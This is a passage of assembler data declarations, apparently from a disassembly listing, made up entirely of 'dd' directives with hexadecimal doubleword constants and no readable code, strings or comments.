0D092F900h dd 4DA38A0Fh, 2B67666h, 0E8A1F253h, 0E8D9E749h, 60183171h dd 6D70EF0Bh, 0B59CE19Bh, 3B85C0CFh, 5510CB35h, 4C5E4462h dd 854676h, 5334B357h, 1E0AD94h, 371DAA6Eh, 6C8B0639h dd 14ECC170h, 9444A36Dh, 27BC24BDh, 111BC503h, 4C883B7Dh dd 410CC48h, 6EF600FBh, 35B9FD58h, 37884453h, 193EE400h dd 26A22D22h, 926400F7h, 3FC05D39h, 809E2B8h, 9E583CBh dd 0E48C4534h, 0F416027h, 11F72D5h, 0F6C9ABEDh, 0F55D0657h dd 3ED4242Ah, 7029B60Ah, 4E16E418h, 8C70D02Fh, 0A8ABEB00h dd 0AF725B61h, 319A1221h, 23B43A2Eh, 0E5630132h, 0BC1AD184h dd 0C03626C9h, 6AAA9900h, 2845E226h, 3BA9D846h, 0B0059583h dd 0CE2FA80Ah, 0C54088BCh, 527CC17Ch, 7FF1001Dh, 2CD6138Ah dd 0F6D0082Eh, 0A006E88Fh, 16D36196h, 5008075Ch, 30416A6Fh dd 0E8E5671Ah, 0A1A8EC00h, 0EA2760EFh, 93BE5CBh, 9C82FE78h dd 2A0E2B83h, 4676B4E6h, 3EB903FEh, 0E084E3F3h, 335D07CDh dd 37B828E6h, 0C82DA226h, 5786208h, 0A34DA6EDh, 3029A2F0h dd 40F4EC9h, 80DC06EBh, 767EDF1Eh, 96EC9472h, 0E9E408FDh dd 0F37A8702h, 0C440C733h, 60066024h, 74690F8Bh, 0D70FE7D8h dd 609364ABh, 4D3BFEC8h, 3ED9DD01h, 35D18B5Eh, 4B256180h dd 620F12C3h, 0E2036400h dd 0B542F4C9h, 0DC5EB1h, 0A774A9A4h, 304904B6h, 139234Ch dd 5E3A6C1h, 0B03C6CD6h, 0A6B94Dh, 0F7450A77h, 47A9E3BEh dd 9C737F02h, 5E804946h, 18EB5EE0h, 9006009Ch, 74445D52h dd 89501A87h, 0D1225DCh, 68B03861h, 0DBD520AFh, 465E9CBEh dd 0FFB83A33h, 0A7539C17h, 0FA644449h, 68C50974h, 0D8295C57h dd 0DD70107Bh, 51116F3Bh, 7C9C698Bh, 2B400C7Ch, 9520C86Fh dd 947E207h, 2480616Bh, 0AD142C09h, 0EBEE30C2h, 1221EA38h dd 0C4037D0h, 0E3CBE205h, 744F0059h, 0FFB2173Eh, 70AB456h dd 0B02FA665h, 6FAB4201h, 2C72E989h, 0C0C1B713h, 0CE658550h dd 4900C09Eh, 6D767735h, 135C92A5h, 83C4AA13h, 0C9D80BB8h dd 48C2D19Dh, 590F0A3Bh, 18FEF14Ch, 0F87D043Ch, 0C0E3A873h dd 0D4CE9C50h, 8AB5D9C1h, 38456A4Eh, 103324B5h, 3C3022A2h dd 0EA7F0092h, 10AD9FA2h, 84B2A76Dh, 0F460532Ah, 0B9E03CADh dd 24D77E1Ch, 40380D39h, 0BAFB09Dh, 0A9BE9941h, 0DF12E20Bh dd 505A461h, 82BC48A8h, 0C572008Ch, 0CA9DE4CDh, 4373F2A6h dd 71CBA204h, 28C2404Ah, 83B72094h, 6000ACF9h, 75A80C56h dd 99B35Ah, 0EDCB42D5h, 8B490708h, 288BA0D2h, 64C01FC8h dd 196CAE6h, 112DA8B5h, 6A8DBF9Dh, 3436C427h, 0BE8A0051h dd 0DF83F715h, 0BF00A0C5h, 3E7E5E3Ah, 13F38DD0h, 0F389FFACh dd 3037B2DCh, 673E06D2h, 8510958h, 1D70C6F7h, 32E79D8Bh dd 8454F898h, 3BA03725h, 7BCBCE80h, 8B0753A4h, 5889DC80h dd 0AE80E4D0h, 8137831Dh, 9B45560Eh, 12676091h, 0EC902B7h dd 0A77F5DD0h, 60E5D8A9h, 0DA6133E4h, 0F9AFC5D4h, 0BBC17007h dd 38C424A5h, 0C22AD160h, 95E74C03h, 98510BF4h, 0B56BA512h dd 3BE6FC80h, 74B1C15Ch, 0D01821D1h, 6E4C43B0h, 68445E84h dd 74A78FD6h, 4EDFE3B0h, 0A9DC6303h, 8319FA21h, 45E7E26Fh dd 6040E418h, 97063C46h, 7F6FF821h, 88022FA2h, 23F70D3Bh dd 0F90036D1h, 64A5FBA0h, 6AEEDBh, 0F22B01C1h, 488BB22Dh dd 0F02CD124h, 93CED707h, 0E40465DBh, 856C60FDh, 0DFD70289h dd 3E28019Fh, 7369D460h, 33B9BF80h, 2A9138D0h, 34ED21E8h dd 0FDF43100h, 9065011Eh, 22351223h, 2E7917B6h, 5322314h dd 0A81664AAh, 370DC0A8h, 463475CEh, 0CA7C506Eh, 0E8D8D848h dd 50008C33h, 0DD1EC571h, 0F43C0CAh, 0CBC43E53h, 0C308E2C0h dd 0BF094A30h, 50BA7F6Eh, 92EA5AECh, 13215594h, 176AFBA5h dd 0CE1C8230h, 0D90098E4h, 0DA7B3BBBh, 0B25BF85h, 9E24362Eh dd 0CF179859h, 7AC80C8Bh, 0F841FCC5h, 1B0E6505h, 2CE99C60h dd 0BAA8E287h, 3AC79E12h, 3A20239Ch, 0E9F66C8Fh, 0A50E3924h dd 0C3E88B0Ch, 0E4E46726h, 8A61617Dh, 0A4DBC821h, 0BDB3F405h dd 5078AC48h, 4126CCFEh, 22E0696Ch, 7402978Eh, 0C4DC8483h dd 940467Ch, 5A0A3C23h, 80E05A58h, 0D2A77170h, 57070892h dd 0C2AEF841h, 11E01FCBh, 0E3268040h, 16B5C115h, 0D80BF8C9h dd 958678BCh, 0FB915895h, 9487898Eh, 78508BB8h, 4676509Ch dd 3DA30024h, 54E103E7h, 0D7750373h, 1C8D1B5h, 68C3B000h dd 8EA19A59h, 4B271636h, 6790B4CEh, 630F657Eh, 16157D42h dd 88088CD8h, 71C20DD1h, 0D189BA39h, 22A70B40h, 0AFEC7C40h dd 0FA5B6800h, 0DB77107h, 0ED18C07Dh, 60886EA8h, 42666527h dd 8CC4000h, 0B6F81142h, 0EA706438h, 0BAA71142h, 0C31F3CDCh dd 990CE825h, 83E301C7h, 5D08886Fh, 5CFC2C7Eh, 160DE1B8h dd 393A5183h, 0B5D9A2D3h, 0D21C6C9Fh, 1FE278F6h, 0EAC80840h dd 16A37780h, 0A45C8C45h, 0B5B54E2Ch, 33A5802Ch, 0D612F680h dd 14B1B31Ch, 0B2C2227h, 8850045Eh, 0E9A08C9Ch, 640001B9h dd 12BCE622h, 2DBA13E2h, 2847EE7Ch, 0D2608264h, 0A000408Dh dd 3516D3A4h, 0C0F031AFh, 0EA1736A9h, 0CD00CE58h, 3B6EAC43h dd 90D912ECh, 0E302038h, 2F78470Fh, 69684062h, 3CD86ACh dd 0B779CA2Dh, 0A1C8330Fh, 86B7BE92h, 0B6D82500h, 1C465EF8h dd 2130C03h, 7813E759h, 0C6007664h, 428716DEh, 0AC08906Ah dd 1471482Ch, 0F4946B20h, 133465Eh, 4DE17862h, 19803A53h dd 1BEC5003h, 0D6007F3Eh, 9D15FFEAh, 7094CD4h, 9C1656C3h dd 60D2A112h, 0EC746C03h, 66908C80h, 0F3BDB200h, 0DCE3465h dd 89E0028h, 0AA02980Eh, 4901E34Eh, 0D11E5D89h, 0A0A794B7h dd 8B3EE4B7h, 9030D3C1h, 3F65340h, 0CCA8CE25h, 0E8E8593Fh dd 3D00AAE2h, 1037C108h, 27C90F8Dh, 68656B6Eh, 0B06335E4h dd 0C92853C0h, 0D6144Ch, 0A2C8A388h, 5B6EFFA8h, 6B8475FAh dd 557D006Ch, 460F7C94h, 879205C4h, 882A6777h, 0C4BE96F8h dd 23A92140h, 0AB2F05B1h, 83A4AD08h, 0CDA0F149h, 9430ECh dd 95F25D80h, 0B36A65h, 0F00C897Eh, 9AADD81Eh, 0ED9DC900h dd 46390783h, 94B964E6h, 18C4F837h, 0FFD13B53h, 1A801D4h dd 954C34B3h, 0F7FADC4Ah, 6E2B6904h, 88E8302Ch, 8C83BCh dd 0CA2E7DD6h, 9B3DE05Ah, 4D0ED4Ch, 0CFD58150h, 0EF55CA4h dd 0DE97011Ah, 7A852AE1h, 7C60E48Eh, 0A510D609h, 2010708Fh dd 0E808EDE0h, 0EE31ECh, 7FB14F86h, 9C0068D9h, 0E94C7919h dd 5FFCFD05h, 8348480Bh, 82D31480h, 0F992FF20h, 9154C20h dd 0D18ADF6Dh, 2191009Dh, 80C61780h, 1D60D173h, 3AD9A719h dd 63350070h, 3F525675h, 0B53A32F5h, 22D28108h, 8866E4C0h dd 23B03A3Fh, 8F9B0080h, 0F9A82022h, 10047358h, 5A73F6F0h dd 2E090CFh, 1E0C9BB9h, 419364AAh, 47310769h, 0AC23E0h dd 50CAD73Ah, 10C8209Dh, 7DF37C16h, 3FEA38C6h, 0B172310Eh dd 6589A7CBh, 49FD6884h, 28DAD0h, 37AA5D98h, 0E007CAB1h dd 1F150848h, 0C9051D9Ah, 0C804B841h, 4A00207Ch, 0F5562ABh dd 0E8A4D249h, 0C0FE0094h, 0BDAF4CFDh, 4702D9D5h, 6759DF09h dd 0F4A052D0h, 0C4AD1CF8h, 0A1B000FDh, 4DA7D7B4h, 65054805h dd 0C0F90AF2h, 2D7F460Bh, 354494C7h, 0EBD86663h, 0AF02BD3Eh dd 0FD45DB47h, 9E74D9BCh, 0FA444485h, 0F8B8FC41h, 5A278C40h dd 1ACE48Ch, 0A994B54Ah, 9288426Eh, 782126D0h, 306C9212h dd 3187ECB0h, 606E2E4Fh, 82631Dh, 2BFA6260h, 0C94EAB3Bh dd 0C8369492h, 266A77D0h, 89688E01h, 0B070B8A9h, 7ED12091h dd 4017BC18h, 2C0BE464h, 951066DEh, 84C0544Dh, 277F6ECBh dd 0C4E68BE2h, 3E91E344h, 98ADA50Ah, 2E262091h, 6827147Bh dd 0EC47BC90h, 667D6C00h, 61E18F1Ch, 8A03004Dh, 77443AEDh dd 0AF13B8D0h, 0F008456Eh, 876F8239h, 445271E6h, 0E644E727h dd 3E367594h, 1060E065h, 31C37511h, 8B8CC895h, 6C9C8CE4h dd 9B18EB5Eh, 53AA1400h, 39492897h, 69420BCBh, 0E8C1515Eh dd 1EB42CFEh, 0C02476FDh, 8D93AB40h, 1F9B0764h, 0C70D68A7h dd 0EC49C487h, 8C36BCD8h, 9F695901h, 6CB3BD78h, 28308025h dd 24873C41h, 1077B41Ah, 0DB360680h, 6CF2816Dh, 0DD91D563h dd 0ECF9A5EAh, 0E8C1FA8h, 15067D3Ch, 78204073h, 39A407CEh dd 44FEF825h, 0B9380354h, 0FA2C33D9h, 50DBD690h, 79E4EE74h dd 93CF7418h, 72F2A690h, 0BC74B9FBh, 99AA2Ch, 0EAA80372h dd 0FE0F9F09h, 20E2701Dh, 3B3A0EB2h, 6487847h, 0F6D0F9F4h dd 0B309A080h, 41394A9h, 6FAF56B8h, 343D006Ch, 4E4B27D6h dd 0A2B03E1Dh, 562A5F07h, 74725B39h, 7F0EA604h, 84F89202h dd 94F95B71h, 1C74E0ACh, 5A8A7F3Ch, 9D91AC60h, 1482BD4Fh dd 0F073CFB5h, 9FDEA270h dd 6497480Bh, 0CD807E91h, 686FCB03h, 696A7625h, 6C2D532Ch dd 0C5C1EA00h, 0BD591B3Dh, 0CD4B98B4h, 80C54420h, 4CC10F0Dh dd 46E2B007h, 840BE1Dh, 971D9BAh, 0C92BC072h, 0B90918FAh dd 5466876Eh, 0FA003D14h, 0D93BDA37h, 3DEAEFA1h, 89FC0951h dd 0D1C04328h, 5DE88238h, 0B4C83105h, 0ED7EB76Fh, 7C2448DDh dd 0C75E0B09h, 60276438h, 3867A658h, 3589A73Fh, 0B5054D46h dd 0D7AC4791h, 0F6047024h, 0FA17C244h, 608BE959h, 60C024C8h dd 4DCF222h, 37C04750h, 7144809Dh, 0D4967B6Dh, 781E4C0Bh dd 0AC9ED4h, 6776EE04h, 1DB78F72h, 80229174h, 9781D724h dd 0F87F00DAh, 8E609A76h, 99DEE5Dh, 0B9CCE4C0h, 18277914h dd 0C17B00E3h, 887AB1B0h, 0A25DDA6h, 19C51EDh, 0E599C3B4h dd 727CCCB1h, 6DA23F00h, 0A912668Bh, 8CA702C1h, 679D1118h dd 0CB0980F0h, 0E54F4B07h, 6304C4FCh, 98568BD1h, 0FA734C8Eh dd 2D8CB0E4h, 86481C2h, 79CB7BFh, 701DFDA1h, 476F56DBh dd 7627C67Ah, 0B3F8E193h, 0B06B3Ah, 5DFBF630h, 94CEA3DCh dd 0ADB680B4h, 1C8B947h, 8C00D4FCh, 14D10641h, 76128959h dd 0ECF0229h, 350D5E60h, 7BF390E9h, 5D2F4C20h, 403240DEh dd 76751505h, 60D18E70h, 9E2E8483h, 329EC0D4h, 2535B6D6h dd 0D3FE0A8Fh, 0F5A2AC02h, 410D429h, 0FC1EA7FDh, 0AD4F21F0h dd 0FF91CC95h, 6DE64280h, 6B01978Dh, 73AF669Dh, 6B7FE763h dd 0CCC51DF0h, 3655FC0h, 458E49Fh, 477D10BFh, 9CB50739h dd 0CB4069CBh, 0C001C80Fh, 7C156708h, 0E8049E77h, 0EBA510FFh dd 7430F8B5h, 0E2CB09E4h, 9851D612h, 919C17A5h, 97148085h dd 74766B80h, 0EBB13D5Ch, 0BDAF6E8Bh, 0F74AE858h, 5CE048E6h dd 2D0095DCh, 0B37E9169h, 811870D1h, 24086A73h, 4AF6C0B9h dd 0F85AB33Eh, 0B0EBF02Ch, 62065BC4h, 10D41784h, 3B7095F6h dd 0D965082Ch, 0C1200F25h, 16D0B80Ah, 0D1B57984h, 1484F8CCh dd 0B85CA813h, 9E028C23h, 0D81F2920h, 0B374C0E6h, 13252550h dd 68BCF870h, 347D4ADCh, 0EB78B02Ch, 0FB9DA9C2h, 4B785234h dd 0DB5C802Dh, 102DBB4Eh, 6028CDB4h, 0F0E1D647h, 0F2BB2800h dd 6EA79789h, 9AE74E88h, 8B46C058h, 1CC5777h, 13495311h dd 93EF94B2h, 64D02EA8h, 3C74DCh, 358B495Eh, 0D1FBFE5Ah dd 0C029AC62h, 0C1B85948h, 68D1C6Dh, 0F6102058h, 4AAB114Ch dd 24928C0h, 1339C5EDh, 8970BDE2h, 5B5C7A6Eh, 6A74CD44h dd 8350E46Eh, 46890158h, 7460BB5Ch, 2B807178h, 0DB09F844h dd 17A2C9C0h, 6CCA12CEh, 0B8E8ADD6h, 0C9160075h, 8EEA9F19h dd 39256982h, 0B70E405h, 0C822864Bh, 0D4A6A885h, 0B868AD84h dd 59A2EEEh, 8D0E0CE4h, 687FAC61h, 74099DE6h, 0EF8A867Fh dd 0E9764120h, 99D9F89Ch, 8CE4304Bh, 5A070074h, 1AAF2EB4h dd 8271225Bh, 0BEEB9C00h, 5E696B9Fh, 248FE803h, 419865C0h dd 0CC6C42BCh, 0B600C138h, 0BE0A5C37h, 4BC0FCh, 0F24DB255h dd 0D65D272Dh, 0A240E097h, 168704CEh, 88043943h, 0EF602E94h dd 0BE859D89h, 0A2C907D2h, 0A280913Ah, 4072F73Ch, 0A587193Eh dd 0D8580294h, 0A5BD896Ch, 1C818A14h, 53002BB7h, 0E8259ED1h dd 70E0F349h, 8B00507Bh, 113CC1A4h, 0BF8ACDBh, 7DE5A2AFh dd 2399282h, 0FB634856h, 0D189123Fh, 1A10EC80h, 5E20ED33h dd 1E467628h, 2B9F443Bh, 6B8580D1h, 42DFBAE0h, 72B8A901h dd 9EC96D1Bh, 8CA3188Ch, 1200EC21h, 33F92030h, 1FB8811Eh dd 795E593h, 0C03F6EE8h, 0EBC2719h, 0A315D20Ch, 69398Bh dd 98D1BD9Ch, 9FD78030h, 15F91800h, 7409DC3Fh, 502A011Fh dd 8BD19E20h, 0DA7980BEh, 4301AF3Ch, 33E4E012h, 0D008423Bh dd 34FC2100h, 0EB5C74AFh, 0B83A7D92h, 0A3E318D2h, 65D77986h dd 0F8BDA200h, 28FA9739h, 1D0A7C6Ch, 30E44437h, 0C315C048h dd 366ACB01h, 0FE636062h, 21D70898h, 0C30E0D29h, 0A0EB2A14h dd 84FF3151h, 17660198h, 1CE62486h, 392BF8DCh, 0E361DE02h dd 801F694Fh, 0F4E74E84h, 0F820340h, 65093F6Bh, 740B1800h dd 0A4DCBA0Dh, 778934D2h, 0DE8008B8h, 1CAF3BC0h, 223A4643h dd 0AFC381CFh, 0C261C331h, 545C1F8h, 713CD162h, 0D8801E6Ch dd 89E0818h, 37ED3A2Ch, 2B98C300h, 0E50E51h, 3566B47h dd 43E62177h, 0ECD5FD18h, 0F1535EE1h, 51DDC100h, 1A18CB61h dd 8183BF6Bh, 0A59C6C75h, 955F9FE1h, 80AC31D0h, 6AD5C313h dd 0DC448C06h, 0C30B0023h, 5F754EAEh, 560109AFh, 6F6A99D2h dd 94401EB9h, 60BAE19Fh, 1413D8E9h, 0E86328A9h, 0E34340h dd 0AD3B1F49h, 8403EBC3h, 376EE43Fh, 0DDC1D062h, 5B03D681h dd 661A390Fh, 0A2C07874h, 7694A873h, 46530087h, 83C8625Eh dd 4005CB7h, 8B6ACED6h, 205F496h, 910B1A40h, 0B4A1D90Eh dd 0C0CDC36Dh, 0C0F2FD41h, 0E3C568C0h, 0A86FA60Fh, 1E1F0BBCh dd 0C3E53D79h, 27EC82DEh, 21120830h, 791720h, 0ED711A60h dd 0F1A905DFh, 0B6E7410Eh, 0C8202C80h, 0F16C63A3h, 0BA0B91Ah dd 0DF6016B1h, 8F91ED88h, 0BB9B28E0h, 0C78B2A88h, 138A01D0h dd 0EC2ACB62h, 7764DC1Bh, 390A25F4h, 98E941DDh, 3ED16B02h dd 9084AA38h, 83A21204h, 0D67EA090h, 91100A4h, 1BEC7D0h dd 75E8C420h, 0DE4031C0h, 2AA0CFA4h, 0C8E944h, 31FCFBB4h dd 0ED24BD04h, 27A79003h, 50848ACAh, 8CDD7499h, 1DAF3804h dd 0D3623243h, 4030F822h, 1A9263F4h, 0F0FF589Fh, 3CA90090h dd 2B62A50Ah, 6420ECBCh, 0CA021646h, 0F00915A4h, 44107A31h dd 8B78A4D2h, 98815B01h, 0B3DA1FF7h, 0EF89C087h, 71711645h dd 33462090h, 0D7C31102h, 7447166Ah, 0C3092500h, 0E5CF66Eh dd 0C2F45D96h, 7C818269h, 52A8AEADh, 17199E60h, 0A408C918h dd 0C4F80914h, 0D145407Dh, 964CA4h, 3D26638Dh, 0CFAE46B6h dd 89C0D5FAh, 3E3550F8h, 5DD31C32h, 0CA7B0B14h, 0D0704600h dd 5C04A3CBh, 0DA8A890Dh, 6F922C87h, 164681Dh, 0B5E12C0Fh dd 46F428D7h, 0C3100230h, 670E6AD6h, 82201A0h, 316F3AC3h dd 0FF97E467h, 24C25D3Ch, 1E086491h, 7EF600D5h, 0D1641A82h dd 43BE080h, 22014FCFh, 0BB54C23Eh, 0AA8F0B20h, 4E1A04E1h dd 0C7DEE7E5h, 0EDBC480h, 2482EB8Bh, 405E845Ch, 4A58180Ah dd 0BB06B35Fh, 0D43E9109h, 2B862430h, 0BCEE0C23h, 28508410h dd 48C15C0h, 916A4D7h, 207862C8h, 9DA4DF43h, 0E116C100h dd 6D18CF71h, 0B18F02A9h, 6207CA9Bh, 0B6E6F848h, 70C9D865h dd 0E1095001h, 0C1A9BE5Ah, 0AA190704h, 0BFE91ECh, 0A2B033AFh dd 53C230D7h, 48A67B3Eh, 134235Ch, 6ACAC314h, 88DD182Eh dd 60C00C26h, 2E70AB7Eh, 6AB90535h, 899F8C2h, 0D4C01090h dd 210913A4h, 7991C420h, 755E2Ch, 73D6139Fh, 0CC2EC5C3h dd 0EE4F308Bh, 812840C4h, 7B6CBDh, 0E707C1B3h, 0B0796897h dd 0E5B46F0Fh, 8A82096Eh, 0E10FE488h, 3B9854DEh, 0A0B62C03h dd 80BCCD3Dh, 0E53B791Dh, 0AEDE5E1Fh, 5343F770h, 561704C3h dd 800B2226h, 8D89E282h, 4530F100h, 8B665206h, 935E3AF2h dd 852ABE80h, 18800F50h, 7F5645CBh, 36A57D68h, 69EBA800h dd 0CE72B1Bh, 2ABC58FFh, 0B82E1006h, 0FEB748B9h, 0E405D645h dd 15A5B5FFh, 0A235E3BFh, 0FF103014h, 3121950Bh, 1C65D545h dd 0FC6114E4h, 4360C1B0h, 9590C28Ch, 50C9028Dh, 2B670861h dd 918465Ch, 824E3C6Dh, 0B571E4F2h, 8982814Dh, 8005A9B5h dd 0F613C8Eh, 0E1024C83h dd 0BC05E87Ah, 0DC028C18h, 2BD66547h, 0DFDA420Fh, 9E58407Bh dd 16077DBEh, 0EEBA53D8h, 0A6EA5685h, 8A68B3AEh, 0B73A46C2h dd 0FE169F4h, 0FCD85236h, 3CD6097Ch, 3A37C38Bh, 0F08B3881h dd 9DF6E8C1h, 811711CAh, 0FC0FD0D3h, 14F8BFC8h, 0C5E2F766h dd 28C17E8h, 18A43F4Ah, 0DBF5D82Bh, 3D70588Fh, 40AFA95Eh dd 0D0695E56h, 5B182EC5h, 9E8647Fh, 24FD2485h, 8B580121h dd 0B12EC9BDh, 880F780Eh, 3EB001F9h, 7B9F3D2h, 95C64FDEh dd 382C09E9h, 1649C183h, 526E88BCh, 1E531468h, 864CD93Bh dd 3DF913E7h, 0FF5B8C66h, 19230B2Eh, 2C49DE00h, 0C3DDC8Ch dd 237DB58Bh, 0C106F6B4h, 0AB840F04h, 0BE560231h, 7F6BE9AEh dd 1952F40h, 292C1760h, 0D2111985h, 0F305400Ch, 5B61C2B3h dd 5CD4FEB7h, 5B001C46h, 0C6B89507h, 0A20605AEh, 0DDB52BF7h dd 0A0C3EC71h, 8010F9C6h, 854343Dh, 536A86C3h, 4674724Bh dd 0AB37051Ch, 2080EFB1h, 353E71D3h, 0BF5332E9h, 34B033E6h dd 0B0F9CABh, 200C011Ah, 8166CCADh, 56DC0FCFh, 0BDC3C08Bh dd 0CC7814F1h, 3D8DCC7h, 60D81A3h, 5185C714h, 0B5030C25h dd 0F14CCFBh, 0BD3EAEB7h, 13D63354h, 452CA3Bh, 0A182D91h dd 0B908AA5Eh, 26BC2620h, 90D0442Fh, 36850F6Bh, 0BCEC47D1h dd 8140307h, 780C522Bh, 0BD09D7F0h, 2812D920h, 7C3A85FFh dd 0A1D3489h, 4275CA18h, 301AE2EBh, 9D1C5AFEh, 2116F520h dd 20F47B66h, 905B2B09h, 0F9A440FAh, 84235FCBh, 83D1E812h dd 24918E04h, 0FDBD3303h, 85E3EBB5h, 43542700h, 3F053DF4h dd 2B8CC900h, 0EF1BAD26h, 0A1DEB70Fh, 2433BE81h, 0A233183Eh dd 293019A2h, 2B8B7C97h, 58212235h, 7609FF86h, 9D8C7EEAh dd 8415114Bh, 1E8207A2h, 0F83A165h, 0A97A1681h, 152680E4h dd 2E35080h, 60DA82D2h, 33695E61h, 0A938A919h, 7F1815D1h dd 1533C03h, 5013A985h, 0EC7A848h, 0F5E8E82h, 31AA2076h dd 226A4D9Dh, 0C201B24h, 0ADC68902h, 4085E9BBh, 0E25EF0A5h dd 31BD242Bh, 8FDA434h, 56120E05h, 6D81470Ch, 0C7E90E5Fh dd 1D33FFF7h, 0C13D7976h, 355DC37Fh, 16C08A84h, 0DF0025C9h dd 801BB06Bh, 1E51A426h, 16FA4BD5h, 4587FAEBh, 9270B70Bh dd 214D83CDh, 0BD4E9649h, 32D9F4h, 17C12D8Eh, 8D4AA1A2h dd 0D998512h, 1CC80A8Eh, 70CA54C0h, 37630419h, 81E9E178h dd 32489B3h, 0BBFEBB50h, 5B2EC504h, 48001A23h, 0AC5083B8h dd 81B403F4h, 91C7BDDEh, 0A7A96AF2h, 0D880438Fh, 8B529A86h dd 6159DF18h, 5E1263DAh, 0F835BE49h, 83F80101h, 0D36605C0h dd 4662EF2h, 6423FF00h, 0E86986E5h, 0B496009Ch, 0A9C8284Fh dd 76E55090h, 4A95F079h, 9573A99h, 0D0305994h, 61D0AB97h dd 3E86BE5Fh, 805868BCh, 8C1BECh, 0F15BD874h, 0E39F1C80h dd 10D85148h, 5F283361h, 96E713ACh, 49A30599h, 0E4F6EB17h dd 0BA5001F0h, 6B8953C0h, 0E4999D8Dh, 52063F48h, 2CA6EFF8h dd 0D3FF004Eh, 0B1ADEF81h, 1640A82Ch, 32B908h, 0DD29DBEh dd 0BA59E954h, 62FB5B56h, 0FC896DF9h, 5A8ED830h, 1E7A8D00h dd 0E14228F9h, 5D50B53h, 7F1E7447h, 1518610h, 0B1BD2305h dd 0B621962Ch, 1F293394h, 81817D1h, 0B697AE00h, 81FBBF0Fh dd 69A8E1E3h, 20064553h, 1F4E6549h, 0CCBE4440h, 580B5FD9h dd 8C22CDDBh, 79205690h, 3683761Ch, 4FFA10BAh, 0EE603644h dd 1381938Dh, 29E904C1h, 0E961032Fh, 96B78493h, 34CFD2A0h dd 601E672Eh, 0D9DC4320h, 19080926h, 8D662C04h, 7A715BE9h dd 0A5AC96EDh, 8C0E410Ah, 0E508C960h, 5C501629h, 2443A93Bh dd 1846D4BDh, 69FAA102h, 0A423494h, 8D8D2604h, 71C20104h dd 0A0040525h, 810E230Dh, 2EFEFF87h, 1BB83E74h, 3EC9008Ch dd 0D75FDF79h, 0A4A14D96h, 206A16F1h, 661709A1h, 90BBDB8Ch dd 48CD8180h, 6B8D8500h, 9F52448Eh, 1C2E699h, 31AD5EC1h dd 24082DBDh, 0C34AF6F3h, 0B15DFF08h, 515515Ch, 3F76FECDh dd 988617E1h, 90AF71BAh, 0CC91E8h, 554254A8h, 4A0008ADh dd 14759F9Eh, 904DDDE6h, 0DFA097Bh, 0E518505Eh, 26005D40h dd 46973EBFh, 0B94AB6Ch, 0A47C0A5Eh, 399EA82h, 0BB60644Fh dd 50909DCAh, 40F1828Eh, 8AA0B00Bh, 7000E6FAh, 0CB64D781h dd 65E4310Fh, 53B5DA71h, 0DB1484F9h, 0F9A3C1A4h, 0D3EC143Bh dd 37515C77h, 1992FE27h, 0BC717C5Bh, 340F25FCh, 84190C87h dd 0FA2A101Fh, 0B7BF8870h, 26960D07h, 0D070C38Bh, 9E03A594h dd 8C0F0B01h, 41B5B498h, 0EB2C1E41h, 0BF0E256h, 49126E3Bh dd 1C2D82Bh, 0B0930631h, 3400445h, 0E2504B94h, 0C0606852h dd 0C361145Ah, 8C981869h, 6FE2A4CBh, 901C6D6Bh, 0EEF750h dd 82819643h, 5A5F0C67h, 93045864h, 1988E5CEh, 0C174B8C0h dd 30060598h, 907D8589h, 0A99FBF60h, 9A75E425h, 0F1554066h dd 2DBB7B66h, 0C73A6199h, 0F83579F7h, 0CF3A8259h, 0B9B596E4h dd 0D62B9801h, 58214442h, 24CEB530h, 285B0CABh, 45954553h dd 0EDB6EA5Bh, 2C4DD4B0h, 85C79038h, 0C1424814h, 49DDB6A4h dd 0DCEC5401h, 10804525h, 17BEACh, 99F6AEB9h, 9CF85A6Bh dd 0AC728600h, 2320BB1Eh, 0B8844917h, 31049253h, 0E424098Dh dd 0DF0F81AEh, 327FC08Ch, 9D896441h, 5E270819h, 4CACE34Dh dd 0F56BC212h, 9F0D309h, 888E3761h, 4508834Fh, 24581410h dd 18C1AB8h, 22118253h, 643ECFFCh, 5EB4310Eh, 48560D64h dd 92272519h, 0F747C161h, 66515E68h, 4B4FD32Dh, 0D71FEE40h dd 61801B91h, 3586397Eh, 0D574DC07h, 4331DE81h, 68686B8Fh dd 3E8C18F8h, 97948584h, 6916A2B3h, 0FE67992Ah, 0ADB52B21h dd 2568C7CEh, 0B012A9B5h, 2D427B00h, 0AF3BFCDh, 5B76B85Dh dd 1D465C62h, 0E89CCF30h, 9F0BF160h, 1920A56Eh, 2E8F577h dd 0F93A0097h, 0ECDF504Ch, 0AE2DA67Ch, 968D0F25h, 890B8998h dd 0A723F8h, 93AFC1BFh, 90C08B25h, 5DD200Fh, 159D310Bh dd 0A7474613h, 601C44E1h, 3669F79h, 90B2A570h, 8E41632Dh dd 7D12064h, 1EC42089h, 0F870B47h, 0D68F5F4Dh, 7D7680F2h dd 50534165h, 3015A2CDh, 96B40516h, 79D86249h, 411BE46Eh dd 3075BD0Bh, 7916E572h, 41509D20h, 609812Fh, 0EDF94D56h dd 5AE52992h, 92DEC0DFh, 16B88C68h, 0DB901C77h, 36C8067h dd 0AC9837h, 0BC35E67Ch, 867BEE81h, 0F9407514h, 330514FCh dd 58892C69h, 1EB7A5h, 0A6730C9h, 22EC8DBh, 0D626905Ah dd 1D56E509h, 801A1185h, 78DC19B3h, 0A7D327CCh, 0A92C1504h dd 0C403BC9Ah, 121059E4h, 6DF07009h, 7350C001h, 34115F86h dd 0C70006E9h, 5227477Eh, 0B53E23F0h, 0CB44CA0Dh, 94E31895h dd 823019B2h, 94711D89h, 26A8689Ch, 6F080584h, 0C0A23A27h dd 3790FC5Dh, 0FB549F03h, 10AFC47Fh, 713217Ch, 0FFF872E9h dd 0C3816010h, 0A227096Fh, 1090E809h, 0C6006B85h, 0B18197AFh dd 0F24E41E5h, 5A5E02B3h, 74D2BF66h, 0D80F91D9h, 73A36020h dd 24B68AEBh, 0DE1C6061h, 95CB1F1Fh, 0DA318F07h, 4D876054h dd 0A1404595h, 2F1BE61h, 0B91025D3h, 0DB569F8Eh, 9C5A851Eh dd 21FEFD01h, 0CC2D018Dh, 0A4C4CE03h, 18100B46h, 886830E5h dd 0B8668013h, 0E183E368h, 321930F5h, 765BD4BDh, 9B051946h dd 0C310FBBh, 0BF089AFh, 92BB0C94h, 542108F5h, 0A7EA61FEh dd 2D6F294Ch, 0FBF59724h, 20084A52h, 0C9952957h, 58506CB2h dd 0D1538BD0h, 740B32A1h dd 1CF70C05h, 28858B80h, 0BC0C0231h, 888A953Eh, 7C67286Ah dd 60011A46h, 424A74CBh, 5CA6D2BBh, 0F4932721h, 5456778h dd 0E3E1BA66h, 0F95A4A8Bh, 3B2E9131h, 0DC82A460h, 40ADEE4Ch dd 1999E820h, 0A91D4400h, 59034Eh, 904CB9E5h, 